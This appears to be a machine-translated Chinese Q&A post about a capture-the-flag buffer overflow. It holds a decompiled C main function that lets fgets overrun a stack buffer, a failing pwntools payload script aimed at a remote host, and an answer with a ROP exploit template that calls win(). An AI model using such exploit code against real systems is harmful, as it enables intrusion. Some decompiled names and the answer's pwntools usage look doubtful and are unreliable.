我的目标是使用 C 编写的二进制文件发生缓冲区溢出。该二进制文件要求我输入一个名称。
使用 Ghidra 打开二进制文件后,我发现了以下代码,可以帮助我构建漏洞利用程序:
undefined8_8 main(void)
{
int iVar10;
char local_99 [106];
undefined4 local_j;
undefined2 local_gg;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
local_j = 0x64726570;
local_gg = 0x73;
puts(&DAT_00102008);
fgets(local_99,0x100,stdin);
iVar10 = strcmp((char *)&local_j,"gagne");
if (iVar10 == 0) {
win(local_99);
}
else {
puts("Bad try, try again");
}
return 0;
}
我看到了
iVar10 = strcmp((char *)&local_j,"gagne");
这行应该有帮助。我猜这一行将 local_j 变量与字符串“gagne”进行比较,但我不太确定。而且,local_j variable (0x64726570)
对应的是小端转换后的字符串"perd"
。这是我尝试构建的脚本,但它显然不起作用并且没有任何其他想法:
#!/usr/bin/env python
from pwn import *
con = remote("IP", Port)
data_ = con.recv(4096)
print(data_.decode())
payload = b"gagne" + p64(0x64726570)+b"\n"
print("payload to send =>",payload)
con.send(payload)
con.interactive()
你有什么想法吗?
任何帮助将不胜感激,谢谢!
您没有提到二进制缓解措施,但假设 PIE 和堆栈金丝雀被禁用,您可以简单地用 win 的地址覆盖保存的返回地址。问题是你可能需要在获胜之前设置参数,但你可以使用 pwntools 来为你做到这一点。这是一个利用示例:
from pwn import *
bin = "./a.out"
elf = ELF(bin)
rop = ROP(elf)
io = process(bin)
context.update(binary=elf.path, encoding='latin-1')
OFFSET = 136 # change this to your saved rip offset
io.clean()
rop.win("some_text") # we call the win function with the arg "some_text"
io.fit({OFFSET: rop.chain()}) # this will generate and send our payload
io.interactive()